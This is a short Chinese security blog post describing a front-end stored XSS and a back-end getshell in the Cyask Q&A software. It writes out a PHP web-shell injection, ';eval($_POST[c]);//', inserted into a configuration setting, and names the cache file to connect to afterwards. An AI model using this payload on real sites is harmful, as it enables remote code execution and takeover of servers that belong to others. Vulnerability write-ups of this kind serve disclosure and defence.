cyask 前台xss与后台Getshell – 网站安全

首先是注册一枚

cyask 前台xss与后台Getshell – 网站安全 – 自学php插图
然后查看会员资料，发现xss已经成功的触发了

cyask 前台xss与后台Getshell – 网站安全 – 自学php插图2
关于后台拿shell，在配置文件出插入

';eval($_POST[c]);//

经过检查，只能插入四处
cyask 前台xss与后台Getshell – 网站安全 – 自学php插图3
插入后连接
askdata\cache\cache_variable.php

本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了，原文地址《cyask 前台xss与后台Getshell – 网站安全 – 自学php》